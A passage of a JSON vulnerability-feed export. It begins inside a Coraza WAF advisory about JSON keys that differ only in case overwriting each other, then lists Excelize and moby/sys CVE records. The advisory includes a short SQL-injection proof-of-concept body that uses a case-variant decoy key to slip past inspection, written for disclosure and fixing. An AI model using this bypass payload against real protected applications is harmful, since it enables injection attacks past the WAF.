rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection\n\n## Follow-up (2026-09-30): case-folding variant still overwrites values\n\nThe \"Resolution\" section above states values are copied into\n`ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding\nkey becomes a multi-valued collection entry. That closes the collision this\nadvisory originally reported (two flattened keys with byte-identical text),\nbut a second, distinct collision shares the exact same failure mode and was\nfound while verifying the fix.\n\n### Root cause\n\n`ARGS_POST` is case-insensitive by default (case-sensitive only under the\n`coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is\n*always* case-insensitive regardless of that tag\n(`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ\nonly by case -- `json.account.role` vs `json.account.Role` -- are distinct\nentries in `readJSON`'s own case-sensitive intermediate map\n(`map[string][]string`), but fold to the *same* collection bucket once\nwritten through `SetIndex`:\n\n```go\n// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse\nfor key, values := range data {\n    for i, value := range values {\n        col.SetIndex(key, i, value)\n    }\n}\n```\n\nEach `SetIndex(key, i, value)` call addresses index `i` of whatever bucket\n`key` case-folds to, with no knowledge that a different-cased key is also\nwriting to that same bucket. Iteration order over `data` (a plain Go map) is\nrandomized, so whichever of the two keys is visited *second* overwrites\nindex 0 of whichever was visited *first* -- deterministically leaving\nexactly one survivor every single request, just an unpredictable one.\n\n### PoC\n\n```json\n{\"account\":{\"role\":\"1' OR '1'='1\",\"Role\":\"safe\"}}\n```\n\nOver 200 trials of `readJSON` + `SetIndex` against this body, the attack\nvalue (`1' OR '1'='1`) survived only 22 times (11%); the harmless value\n(`safe`) silently replaced it the other 178 times. With CRS v4.25 and the\nrecommended configuration, an equivalent SQLi rule blocked only 8/100\nrequests with one decoy key and 14/100 with seven decoy keys planted at\ndifferent case variants -- both Node.js and Python's JSON parsers keep\n`role = \"1' OR '1'='1\"` in every case, so this is a real bypass, not a\nparser-disagreement edge case. `RESPONSE_ARGS` is affected identically, and\nremains affected even when Coraza is built with\n`coraza.rule.case_sensitive_args_keys`, since that tag does not change\n`RESPONSE_ARGS`'s case-insensitivity.\n\n### Fix\n\nUse `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add`\nalways appends regardless of any index, so both a same-case collision (this\nadvisory's original case: one `data` key holding an ordered slice of values)\nand a case-folding collision (two different `data` keys landing in the same\nbucket) end up with every value preserved. The existing regression test for\nthe original collision\n(`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a\nspecific value order) still passes unchanged, since a single `data` key's\nown value order is unaffected by switching from indexed writes to appends. A\nnew `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order\nindependent, since the two colliding values now come from different `data`\nkeys whose relative processing order is randomized) fails deterministically\nagainst the pre-fix code (asserts 2 values, gets 1, every run) and passes\nafter the fix.\n\nFull suite, build-tag matrix (`coraza.no_memoize`,\n`coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`,\n`coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS\nregression suite all pass. ADR-0058 has been amended with the same\nfollow-up note (still `proposed`, so amending in place is appropriate rather\nthan superseding it).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape (including the CRS block-rate figures) were supplied by the\n  reporter as an existing written finding; Claude Sonnet 5 independently\n  re-derived the root cause by reading the current source\n  (`internal/bodyprocessors/json.go`, `internal/collections/map.go`),\n  reproduced the overwrite empirically (200-trial measurement against\n  commit `19b86824`), verified the fix closes the gap, and drafted this\n  addendum and the ADR-0058 amendment.\n- **Review performed:** reproduced by hand against a clean checkout of\n  commit `19b86824` before and after the fix, confirming the pre-fix code\n  always yields exactly one survivor (never both, never neither) and the\n  post-fix code always yields both; added and ran\n  `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it\n  fails against the pre-fix code and passes against the fix, and confirmed\n  the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`\n  (order-sensitive) still passes unchanged; ran the full test suite, the\n  build-tag matrix, and the `testing/coreruleset` CRS regression suite, all\n  green; reviewed by a human maintainer (fzipi) before this addendum was\n  submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-5gj4-9gm7-2fx2","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2","type":"advisory","title":"OSV GHSA-5gj4-9gm7-2fx2"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:45:31.000Z","addedAt":"2026-10-08T18:42:42.103Z","updatedAt":"2026-10-08T18:42:42.103Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-5gj4-9gm7-2fx2"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2"}]},{"id":"21e076b8-5848-4024-bfa6-6db4d33912be","slug":"cve-2026-61801","externalId":"CVE-2026-61801","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-61801 — The `github.com/moby/sys/user` package provides Go utilities for parsing and looking up entries in Unix-style user and group database files.","description":"The `github.com/moby/sys/user` package provides Go utilities for parsing and looking up entries in Unix-style user and group database files. Versions before 0.4.1 do not sufficiently limit entries when parsing `/etc/passwd`- or `/etc/group`-style files, allowing an attacker who can supply a specially crafted file to cause excessive memory consumption and potentially terminate the affected process due to an out-of-memory condition. This issue is patched in version 0.4.1. As a workaround, avoid parsing attacker-controlled user or group database files, or validate and limit untrusted input before parsing it.","cveId":"CVE-2026-61801","cvssScore":5.5,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/moby/sys/user","affectedVersions":["pkg:golang/github.com/moby/sys/user < 0.4.1"],"cwes":["CWE-400"],"tags":["nvd","status:received","osv","osv:ghsa-mjcv-p78q-w5fw","ecosystem:go","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/moby/sys/commit/85a71bbe1faa36c552a960e6a5f3d0cfb632fbbe","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/moby/sys/pull/221","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/moby/sys/security/advisories/GHSA-mjcv-p78q-w5fw","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-mjcv-p78q-w5fw","type":"advisory","title":"OSV GHSA-mjcv-p78q-w5fw"},{"url":"https://github.com/moby/sys","type":"vendor","title":"OSV package"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:17:17.433Z","addedAt":"2026-10-08T18:39:31.796Z","updatedAt":"2026-10-08T23:06:38.597Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61801","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61801","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-MJCV-P78Q-W5FW"}]},{"id":"0cf25662-fb36-4239-ab16-1188b252726d","slug":"cve-2026-107225","externalId":"CVE-2026-107225","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107225 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.8.0 to 2.11.0, GetStyle's fill, border, and font extraction predicates check only upper bounds for attacker-controlled style-table indices. File.GetStyle relies on extractStyleCondFuncs predicates that allow negative FillID, BorderID, and FontID values to reach slice indexing. When a crafted styles.xml supplies a negative fillId, borderId, or fontId and the application reads the style, a negative identifier passes the upper-bound-only predicate and becomes a negative slice index, allowing an attacker to panic while reading cell styling. No fixed version is available as of this review.","cveId":"CVE-2026-107225","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.8.0, < 2.11.1-0.20260731010303-ae2113b410e5"],"cwes":["CWE-20","CWE-129"],"tags":["nvd","status:received","osv","osv:ghsa-5h23-36rv-pm65","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/ae2113b410e51f6a141c396a59eda8c42b91bc22","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2367","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-5h23-36rv-pm65","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-5h23-36rv-pm65","type":"advisory","title":"OSV GHSA-5h23-36rv-pm65"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00249,"epssPercentile":0.14856,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:35.333Z","addedAt":"2026-10-07T20:39:40.446Z","updatedAt":"2026-10-08T21:05:43.774Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107225","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107225","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-5H23-36RV-PM65"}]},{"id":"a6d8e418-82b2-46e1-8c6f-b16cfa4ae3ed","slug":"cve-2026-107224","externalId":"CVE-2026-107224","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107224 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, a Zip64 uncompressed size with the high bit set is converted from uint64 to a negative int64 before signed size-limit checks and allocation. ReadZipReader obtains UncompressedSize64 through FileInfo.Size and passes the wrapped negative value to readFile. When a crafted Zip64 entry declares an uncompressed size from 2^63 through 2^64-1 and the workbook is opened, the negative size bypasses unzip limits and reaches make as a negative capacity, allowing an attacker to panic during workbook opening. No fixed version is available as of this review.","cveId":"CVE-2026-107224","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.1.0, < 2.11.1-0.20260805032953-db93f8d89de7"],"cwes":["CWE-190","CWE-681"],"tags":["nvd","status:received","osv","osv:ghsa-fw94-4wwp-w8pw","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/db93f8d89de71589069a54d1b998af02e3c5f7cd","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2369","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-fw94-4wwp-w8pw","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://osv.dev/vulnerability/GHSA-fw94-4wwp-w8pw","type":"advisory","title":"OSV GHSA-fw94-4wwp-w8pw"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00356,"epssPercentile":0.2731,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:35.140Z","addedAt":"2026-10-07T20:39:40.439Z","updatedAt":"2026-10-08T21:05:43.717Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107224","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107224","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-FW94-4WWP-W8PW"}]},{"id":"23b0180f-fd14-4354-8729-d7be931396d9","slug":"cve-2026-107223","externalId":"CVE-2026-107223","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107223 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, flatCols expands file-loaded column ranges without validating Min and Max against the worksheet column limit. SetColWidth reaches flatCols, which expands xlsxCol.Min through xlsxCol.Max without enforcing MaxColumns. When a crafted worksheet supplies an oversized col max attribute and the application invokes a column mutator, flatCols performs a deep copy and append for every attacker-selected column number, allowing an attacker to consume excessive CPU and memory or trigger OOM. No fixed version is available as of this review.","cveId":"CVE-2026-107223","cvssScore":7.1,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.1.0, < 2.11.1-0.20260807015645-a54c578af309"],"cwes":["CWE-789"],"tags":["nvd","status:received","osv","osv:ghsa-fq3v-74gv-27gm","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/a54c578af309fa81f448143ed2b7a91192cc58a7","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2370","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-fq3v-74gv-27gm","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-fq3v-74gv-27gm","type":"advisory","title":"OSV GHSA-fq3v-74gv-27gm"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00317,"epssPercentile":0.22589,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:34.970Z","addedAt":"2026-10-07T20:39:40.431Z","updatedAt":"2026-10-08T21:05:43.678Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107223","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107223","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-FQ3V-74GV-27GM"}]},{"id":"640be0d8-6e28-4d6d-9edd-9b2c5a32accd","slug":"cve-2026-107222","externalId":"CVE-2026-107222","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107222 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.7.0 to 2.11.0, conditional-format extraction indexes required child slices or dereferences an optional colorScale child without validating malformed rule structure. GetConditionalFormats reaches extractCondFmtCellIs and also indexes ColorScale.Cfvo, DataBar.Cfvo, and DataBar.Color without complete structural checks. When a crafted worksheet supplies a cellIs, dataBar, or colorScale rule missing expected children and the application calls GetConditionalFormats, missing formula, color, value-object, or colorScale data reaches an out-of-range index or nil dereference, allowing an attacker to panic and terminate an unprotected process. No fixed version is available as of this review.","cveId":"CVE-2026-107222","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.7.0, < 2.11.1-0.20260812075026-be7a16390fa6"],"cwes":["CWE-129","CWE-476"],"tags":["nvd","status:received","osv","osv:ghsa-rxcj-4pj5-74gr","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/be7a16390fa69c71d3ca618c741d1a2b5ed362cd","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2375","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-rxcj-4pj5-74gr","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://osv.dev/vulnerability/GHSA-rxcj-4pj5-74gr","type":"advisory","title":"OSV GHSA-rxcj-4pj5-74gr"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00249,"epssPercentile":0.14856,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:34.800Z","addedAt":"2026-10-07T20:39:40.424Z","updatedAt":"2026-10-08T21:05:43.640Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107222","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107222","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-RXCJ-4PJ5-74GR"}]},{"id":"de40362f-8bf9-41d8-a17a-2cbd2286d139","slug":"cve-2026-107221","externalId":"CVE-2026-107221","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107221 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.0.0 to 2.11.0, checkRow sizes its target cell slice from the last cell in XML document order and then re-scatters every cell by its explicit column reference. GetCellValue reaches workSheetReader and checkRow, where targetList is too short for an earlier out-of-order cell. When a crafted row places a higher-column cell before a lower-column final cell and a non-streaming worksheet API reads the sheet, the earlier cell's column index exceeds the slice length derived from the final cell, allowing an attacker to cause an unrecovered panic and terminate the process. No fixed version is available as of this review.","cveId":"CVE-2026-107221","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.0.0, < 2.11.1-0.20260816084418-46a5eb289448"],"cwes":["CWE-787"],"tags":["nvd","status:received","osv","osv:ghsa-8mcq-6wmr-jrjv","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/46a5eb289448e40fbc7d3294589b03861fb822f0","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2376","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-8mcq-6wmr-jrjv","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://osv.dev/vulnerability/GHSA-8mcq-6wmr-jrjv","type":"advisory","title":"OSV GHSA-8mcq-6wmr-jrjv"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00302,"epssPercentile":0.21058,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:34.620Z","addedAt":"2026-10-07T20:39:40.416Z","updatedAt":"2026-10-08T21:05:43.604Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107221","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107221","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-8MCQ-6WMR-JRJV"}]},{"id":"59914c3f-ff93-4161-bf43-62be395a695f","slug":"cve-2026-107220","externalId":"CVE-2026-107220","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107220 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.7.1 to 2.11.0, mergeCellsParser leaves the cached rectangle empty for an empty mergeCell ref and then passes that empty slice to cellInRange without a length check. GetCellValue reaches mergeCellsParser, which passes an empty rectangle derived from the mergeCell ref attribute into cellInRange. When a crafted worksheet contains an empty mergeCell ref and a non-streaming cell API reads the worksheet, cellInRange indexes four positions in an empty slice, allowing an attacker to panic on the first affected cell operation. No fixed version is available as of this review.","cveId":"CVE-2026-107220","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.7.1, < 2.11.1-0.20260820023833-99903a3240e5"],"cwes":["CWE-125","CWE-129"],"tags":["nvd","status:received","osv","osv:ghsa-g27h-8qhm-6pff","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/99903a3240e58a47ff28fb8e05a03bd9d496ec24","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2379","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-g27h-8qhm-6pff","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-g27h-8qhm-6pff","type":"advisory","title":"OSV GHSA-g27h-8qhm-6pff"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00244,"epssPercentile":0.14304,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:34.447Z","addedAt":"2026-10-07T20:39:40.409Z","updatedAt":"2026-10-08T21:05:43.563Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107220","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107220","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-G27H-8QHM-6PFF"}]},{"id":"6d38a31b-715f-499a-b475-4bed6a95f5b3","slug":"cve-2026-107219","externalId":"CVE-2026-107219","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107219 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.3.1 to 2.11.0, agile decryption accepts an attacker-controlled spinCount and performs that many password-key derivation iterations before verifier validation. OpenFile reaches agileDecrypt, which passes the unbounded spinCount to convertPasswdToKey before password verification. When a crafted OLE encrypted-workbook header supplies an excessive spinCount and the file is opened, the key-derivation loop performs unbounded attacker-selected work and cannot be cancelled, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.","cveId":"CVE-2026-107219","cvssScore":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","severity":"high","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.3.1, < 2.11.1-0.20260906004932-2badfcd5841d"],"cwes":["CWE-400"],"tags":["nvd","status:received","osv","osv:ghsa-jrfj-fhj2-jjvm","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/2badfcd5841d0d88b0ffea119f5a2f3c53b4910b","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2389","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-jrfj-fhj2-jjvm","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-jrfj-fhj2-jjvm","type":"advisory","title":"OSV GHSA-jrfj-fhj2-jjvm"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00335,"epssPercentile":0.24787,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:34.287Z","addedAt":"2026-10-07T20:39:40.400Z","updatedAt":"2026-10-08T21:05:43.536Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107219","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107219","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-JRFJ-FHJ2-JJVM"}]},{"id":"a53102b8-7335-44b7-9d5f-98eadc40a7e8","slug":"cve-2026-107218","externalId":"CVE-2026-107218","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107218 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.10.1 to 2.11.0, RIGHT validates the requested length with UTF-16 code-unit counts but slices a rune array using Unicode code-point counts. RIGHT reaches leftRight through CalcCellValue, where countUTF16String validates one unit but utf8.RuneCountInString supplies the slice index in another. When RIGHT evaluates supplementary-plane text with a requested character count between the rune count and UTF-16 code-unit count, the inconsistent units produce a negative rune-slice index, allowing an attacker to panic during formula evaluation. No fixed version is available as of this review.","cveId":"CVE-2026-107218","cvssScore":5.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","severity":"medium","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.10.1, < 